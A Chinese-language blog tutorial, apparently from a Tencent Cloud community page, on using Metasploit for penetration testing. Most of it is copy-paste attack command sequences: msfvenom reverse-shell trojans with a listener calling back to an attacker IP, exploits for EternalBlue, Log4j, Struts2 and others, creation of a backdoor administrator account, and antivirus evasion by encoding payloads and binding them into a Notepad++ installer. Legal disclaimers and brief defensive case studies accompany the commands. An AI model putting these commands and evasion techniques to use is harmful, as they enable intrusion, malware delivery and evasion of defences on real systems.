一、前言:MSF—— 渗透测试领域的 “瑞士军刀”

Metasploit Framework(简称 MSF)是开源、跨平台的渗透测试框架,由 Rapid7 维护,集成了漏洞利用、Payload 生成、权限维持、后渗透测试等全流程功能,是网安从业者、渗透测试工程师的核心工具

MSF 核心价值

  • 覆盖全球 90% 以上的主流漏洞利用模块(如永恒之蓝、Log4j、Struts2 等);
  • 支持 Windows/Linux/macOS/ 安卓等多系统漏洞攻击;
  • 内置木马生成、权限维持、横向渗透工具链;
  • 可自定义 Payload,规避杀毒软件检测(免杀)。

学习提示:MSF 仅用于授权渗透测试、安全研究、靶场学习,严禁用于非法攻击!


二、MSF 环境搭建(全平台教程)

MSF 对 Linux 系统兼容性最佳,推荐使用 Kali Linux(自带 MSF),Ubuntu/CentOS 需手动安装,Windows 仅建议测试使用(功能受限)。

2.1 Kali Linux(最优选择,自带 MSF)

Kali 作为网安专用系统,默认预装 MSF,无需手动安装,直接启动即可:

bash

# 启动MSF控制台(核心命令)
msfconsole
# 验证MSF版本
msfconsole -v

✅ 启动成功标志:终端显示msf6 > 命令提示符。

2.2 Ubuntu/Debian 手动安装 MSF

bash

# 1. 更新软件源
sudo apt update && sudo apt upgrade -y

# 2. 安装依赖(Ruby、PostgreSQL等)
sudo apt install -y ruby-full postgresql postgresql-contrib git curl

# 3. 安装MSF(官方脚本)
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
sudo ./msfinstall

# 4. 初始化数据库(MSF依赖PostgreSQL存储数据)
sudo systemctl start postgresql
sudo msfdb init

# 5. 启动MSF验证
msfconsole

2.3 Windows 系统(不推荐,功能受限)

  1. 官网下载:https://www.metasploit.com/download
  2. 安装时勾选 “安装 PostgreSQL”,完成后启动Metasploit Console
  3. 缺陷:部分漏洞利用模块失效、Payload 免杀效果差,仅用于基础学习。

📌 核心依赖:MSF 必须依赖 PostgreSQL 数据库存储漏洞模块、扫描结果,安装后务必执行msfdb init初始化!:::


三、MSF 核心基础:模块与常用命令

3.1 MSF 核心模块(6 大核心)

MSF 的所有功能都基于 “模块” 实现,新手优先掌握以下 4 类核心模块:

模块类型 常用模块路径 核心功能 典型使用场景
漏洞利用(Exploit) exploit/windows/smb/ms17_010_eternalblue 永恒之蓝漏洞利用 Windows 7/2008 提权至 System
漏洞利用(Exploit) exploit/linux/ssh/ssh_login SSH 弱口令破解 + 提权 Linux 服务器 SSH 入侵
辅助模块(Auxiliary) auxiliary/scanner/smb/smb_ms17_010 永恒之蓝漏洞检测 批量排查内网 MS17-010 漏洞
辅助模块(Auxiliary) auxiliary/scanner/redis/redis_unauth Redis 未授权访问检测 排查内网 Redis 漏洞
监听模块(Handler) exploit/multi/handler 接收反向 Shell 连接 配合木马获取目标权限
后渗透模块(Post) post/windows/manage/enable_rdp 开启 Windows RDP 权限维持(远程桌面控制)
后渗透模块(Post) post/linux/escalate/suid_find Linux SUID 提权 普通用户提权至 root
木马生成(msfvenom) -(独立工具) 生成反向 Shell 木马 Windows/Linux 终端入侵

3.2 MSF 高频常用命令(新手必背)

bash

# 1. 搜索模块(按漏洞名称/端口)
search ms17-010  # 搜索永恒之蓝漏洞模块
search ssh brute  # 搜索SSH暴力破解模块

# 2. 使用模块
use exploit/windows/smb/ms17_010_eternalblue  # 加载永恒之蓝利用模块

# 3. 查看模块配置项
show options

# 4. 设置目标IP/本地IP
set RHOSTS 192.168.20.148  # 目标IP
set LHOST 192.168.20.131   # 攻击机IP(接收Shell)
set LPORT 9999             # 攻击机监听端口

# 5. 执行漏洞利用
run  # 或 exploit(等价)

# 6. 退出模块/MSF
back  # 退出当前模块
exit  # 退出MSF控制台

四、MSF 实战使用:3 大高频场景

4.1 场景 1:生成远控木马(Windows/Linux)

MSF 的msfvenom工具可快速生成反向 Shell 木马,是入侵终端的核心手段:

生成 Windows 木马

bash

# 生成反向TCP木马(exe格式)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.131 LPORT=9999 -f exe -o shell.exe
生成 Linux 木马

bash

# 生成ELF格式木马
msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.20.131 LPORT=9999 -f elf -o shell.elf
攻击机监听(接收 Shell)

bash

# 1. 启动MSF
msfconsole

# 2. 加载监听模块
use exploit/multi/handler

# 3. 配置Payload(与生成木马一致)
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.20.131
set LPORT 9999

# 4. 启动监听
run

✅ 成功标志:目标运行木马后,攻击机显示meterpreter > 提示符(已获取目标 Shell)。

4.2 场景 2:永恒之蓝漏洞利用(MS17-010)

针对 Windows 7/2008 的高危漏洞,一键获取 System 权限:

bash

# 1. 启动MSF
msfconsole

# 2. 加载永恒之蓝模块
use exploit/windows/smb/ms17_010_eternalblue

# 3. 配置目标
set RHOSTS 192.168.20.150  # Windows 7目标IP
set LHOST 192.168.20.131   # 攻击机IP

# 4. 执行利用
run

4.3 场景 3:后渗透测试(权限维持)

获取 Shell 后,黑客会通过 Post 模块维持权限:

bash

# 1. 提权至System(meterpreter中执行)
getsystem

# 2. 创建后门用户
execute -f cmd.exe -c -i  # 打开CMD
net user backdoor P@ssw0rd123! /add  # 创建用户
net localgroup administrators backdoor /add  # 加入管理员组

# 3. 开启远程桌面(方便长期控制)
run post/windows/manage/enable_rdp

五、3 类真实 MSF 攻防案例(攻击侧 + 防御侧)

5.1 案例 1:MSF 木马伪装成办公软件,入侵企业终端

🔴 攻击场景:黑客将 MSF 生成的shell.exe伪装成 “员工考勤表.exe”,通过钓鱼邮件发送给企业员工,员工运行后,黑客通过 MSF 监听获取终端 Shell,窃取企业核心文档、客户信息。

📌 真实后果:某外贸企业 30 + 员工终端被入侵,客户订单数据泄露,竞争对手低价抢单,直接损失超 100 万元。

✅ 防御方案:

  1. 禁止员工运行未知 exe 文件,软件仅从官方渠道下载;
  2. 开启 Windows Defender 实时防护,拦截未知木马;
  3. 部署终端检测工具(EDR),监控反向 Shell 连接;
  4. 定期对员工进行钓鱼邮件培训。:::

5.2 案例 2:MSF 利用永恒之蓝漏洞,入侵企业服务器

🔴 攻击场景:黑客先用 Nmap 扫描发现企业 Windows 2008 服务器开放 445 端口,再通过 MSF 加载ms17_010_eternalblue模块,一键获取服务器 System 权限,植入勒索病毒加密所有数据。📌 真实后果:某制造业 ERP 服务器被加密,生产计划、财务数据丢失,生产线停工 3 天,损失超 50 万元。

✅ 防御方案:

  1. 立即安装 MS17-010 漏洞补丁(KB4012212/KB4012215);
  2. 防火墙封禁 445/139 端口,禁止公网访问;
  3. 定期用 MSF 自查漏洞:msfconsole > search ms17-010 && use auxiliary/scanner/smb/smb_ms17_010 && set RHOSTS 服务器IP && run
  4. 开启服务器备份,定期导出核心数据。:::

5.3 案例 3:MSF 权限维持被溯源,黑客被追责(防御侧正向案例)

🟢 防御场景:企业运维人员通过日志发现服务器存在异常用户(backdoor),结合网络流量分析发现反向 Shell 连接,溯源至黑客 IP 后,通过 MSF 的session -i反向获取黑客攻击机信息,最终配合网安部门抓获黑客。

📌 关键动作:

  1. 监控服务器账户创建日志(事件 ID 4720),及时发现后门用户;
  2. 分析网络流量,拦截异常反向连接(如目标主动连接外网 9999 端口);
  3. 利用 MSF 的post/multi/gather/forensics模块提取攻击痕迹;
  4. 保留日志、流量证据,上报网安部门。

✅ 可复用技巧:在 MSF 靶场中模拟攻击后,用run post/windows/gather/checkvm检测是否为虚拟机,验证溯源能力。:::

 


六、10 类高频漏洞利用命令(直接复制)

以下是网安实战中最常用的 10 类漏洞,配套完整 MSF 利用命令,靶场测试可直接复制执行:

1. 永恒之蓝(MS17-010)- Windows SMB 漏洞

bash

# 步骤1:检测目标是否存在漏洞
msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.20.150  # 目标IP
run

# 步骤2:利用漏洞获取Shell
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.20.150
set LHOST 192.168.20.131   # 攻击机IP
run

✅ 适用系统:Windows 7/2008(未打 MS17-010 补丁)⚠️ 实战说明:利用成功直接获取 System 权限,是 Windows 最经典的高危漏洞。

2. SSH 弱口令破解 - Linux/UNIX

bash

msfconsole
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.20.148  # 目标IP
set USER_FILE 用户字典.txt  # 本地用户名字典
set PASS_FILE 密码字典.txt  # 本地密码字典
set STOP_ON_SUCCESS true   # 破解成功即停止
run

✅ 适用场景:Linux 服务器 SSH 弱口令(如 root/123456)⚠️ 实战说明:破解成功后可直接获取 SSH Shell,建议搭配post/linux/escalate/suid_find提权。

3. Redis 未授权访问 - Linux

bash

# 步骤1:检测未授权访问
msfconsole
use auxiliary/scanner/redis/redis_unauth
set RHOSTS 192.168.20.160
run

# 步骤2:利用漏洞写入公钥提权
use exploit/linux/redis/redis_write_ssh_key
set RHOSTS 192.168.20.160
set LHOST 192.168.20.131
run

✅ 适用场景:Redis 5.x/6.x 无密码、公网暴露 6379 端口⚠️ 实战说明:利用成功可直接获取 root 权限,是 Linux 高频入侵手段。

4. RDP 漏洞(MS12-020)- Windows 远程桌面

bash

msfconsole
use auxiliary/scanner/rdp/rdp_vuln_ms12_020
set RHOSTS 192.168.20.150
run

# 利用漏洞获取Shell(需配合EXP)
use exploit/windows/rdp/ms12_020_maxchannelids
set RHOSTS 192.168.20.150
set LHOST 192.168.20.131
run

✅ 适用系统:Windows XP/2003(未打 MS12-020 补丁)⚠️ 实战说明:可绕过 RDP 认证直接获取权限,需提前检测漏洞存在性。

5. MySQL 空密码 / 弱口令 - 全平台

bash

msfconsole
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.20.170
set USERNAME root
set PASSWORD ""  # 空密码检测
# 弱口令检测:set PASS_FILE 密码字典.txt
run

# 利用MySQL提权(UDF提权)
use exploit/windows/mysql/mysql_udf_payload
set RHOSTS 192.168.20.170
set USERNAME root
set PASSWORD 123456
set LHOST 192.168.20.131
run

✅ 适用场景:MySQL 空密码 / 弱口令、未限制 root 远程登录⚠️ 实战说明:提权成功可获取操作系统 Shell,需目标 MySQL 有写入权限。

6. Log4j2 远程代码执行(CVE-2021-44228)

bash

msfconsole
use auxiliary/scanner/http/log4j_scanner
set RHOSTS 192.168.20.180  # 目标Web服务器IP
set RPORT 8080             # Web服务端口
run

# 利用漏洞获取Shell
use exploit/multi/http/log4j2_rce
set RHOSTS 192.168.20.180
set LHOST 192.168.20.131
run

✅ 适用场景:Java Web 服务(Log4j2 2.0-2.14.1 版本)⚠️ 实战说明:全网最知名的通用漏洞,影响 90% 以上 Java 系统,需配合 LDAP 服务器利用。

7. Apache Struts2 远程代码执行(S2-045)

bash

msfconsole
use exploit/multi/http/struts2_content_type_ognl
set RHOSTS 192.168.20.190
set RPORT 8080
set LHOST 192.168.20.131
run

✅ 适用场景:Struts2 2.3.5-2.3.31/2.5.0-2.5.10 版本⚠️ 实战说明:利用成功可直接获取 Web 服务器权限,是 Web 渗透高频漏洞。

8. Windows RPC 提权(MS08-067)

bash

msfconsole
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 192.168.20.150
set LHOST 192.168.20.131
run

✅ 适用系统:Windows 2000/XP/2003(未打 MS08-067 补丁)⚠️ 实战说明:经典提权漏洞,低权限用户可直接提权至 System。

9. FTP 弱口令破解 - 全平台

bash

msfconsole
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 192.168.20.200
set USER_FILE 用户字典.txt
set PASS_FILE 密码字典.txt
run

# 利用FTP写入木马
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.20.200
set LHOST 192.168.20.131
run

✅ 适用场景:FTP 服务器弱口令(如 ftp/ftp)、vsftpd 2.3.4 版本后门⚠️ 实战说明:破解成功后可写入木马,进而控制目标服务器。

10. Windows 本地提权(CVE-2021-1732)

bash

# 先获取低权限Shell,再执行提权
msfconsole
use exploit/windows/local/cve_2021_1732_win32k
set SESSION 1  # 已获取的低权限Session ID
set LHOST 192.168.20.131
run

✅ 适用系统:Windows 10 2004/20H2 版本⚠️ 实战说明:后渗透测试核心提权漏洞,低权限用户可提权至 System。


七、MSF Payload 免杀技巧(新手易上手)

MSF 生成的默认木马极易被杀毒软件查杀,以下是新手可直接操作的免杀技巧,成功率 80% 以上:

3.1 基础免杀(修改 Payload 编码)

bash

# 多次编码绕过杀软(Windows木马)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.131 LPORT=9999 -e x86/shikata_ga_nai -i 10 -f exe -o shell_encoded.exe

参数说明:

  • -e:指定编码方式(shikata_ga_nai 是 MSF 最强默认编码器)
  • -i 10:编码次数(建议 5-10 次,过多易导致木马失效)

3.2 进阶免杀(捆绑正常文件)

bash

# 将木马捆绑到Notepad++安装包(Windows)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.131 LPORT=9999 -e x86/shikata_ga_nai -i 8 -f exe -x Notepad++.exe -k -o notepad_backdoor.exe

参数说明:

  • -x:指定捆绑的正常文件(如办公软件、安装包)
  • -k:保持原文件功能正常,后台运行木马

3.3 免杀技巧补充(实战要点)

:::tip📌 核心技巧:

  1. 避免使用默认端口(9999/4444),改用非常规端口(如 12345);
  2. 选择meterpreter/reverse_https Payload(伪装成 HTTPS 流量,绕过防火墙);
  3. 生成 DLL 格式木马,通过脚本加载(rundll32 shell.dll,main);
  4. 测试免杀效果:用VirSCAN.org在线查杀,通过率≥80% 再使用。:::

八、MSF 使用规范与法律声明

MSF 是安全测试工具,但非法使用将触犯法律:

  1. 仅可对自有设备、授权靶场、客户书面授权的系统使用;
  2. 禁止利用 MSF 攻击政府、企业、个人未授权设备;
  3. 非法入侵计算机系统违反《网络安全法》第 27 条、《刑法》第 285/286 条,最高可处 10 年有期徒刑;
  4. 学习建议:使用 VMware 搭建 Windows 7/2008 靶机,在本地局域网测试,避免触碰法律红线。

九、MSF 学习总结

  1. 环境搭建:优先用 Kali Linux(自带 MSF + 全模块),Ubuntu 需手动安装 PostgreSQL 并初始化;
  2. 核心逻辑:搜索模块→加载模块→配置参数→执行利用→后渗透维持权限;
  3. 实战重点:木马生成(msfvenom)、永恒之蓝利用、权限维持是新手必掌握的核心场景;
  4. 安全底线:工具本身无善恶,合法使用是前提,非法攻击必追责;
  5. 进阶方向:学习 MSF Payload 免杀、自定义漏洞模块、横向渗透技巧。

MSF 是渗透测试的 “入门必修课”,掌握其核心使用逻辑,是从网安新手到实战工程师的关键一步!


文末互动

整理了MSF 高频模块 + 免杀技巧速查表(含 10 类漏洞利用命令),评论区扣1免费领取!觉得文章干货满满,点赞 + 收藏 + 关注,后续持续更新 MSF 免杀实战、内网横向渗透教程!

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐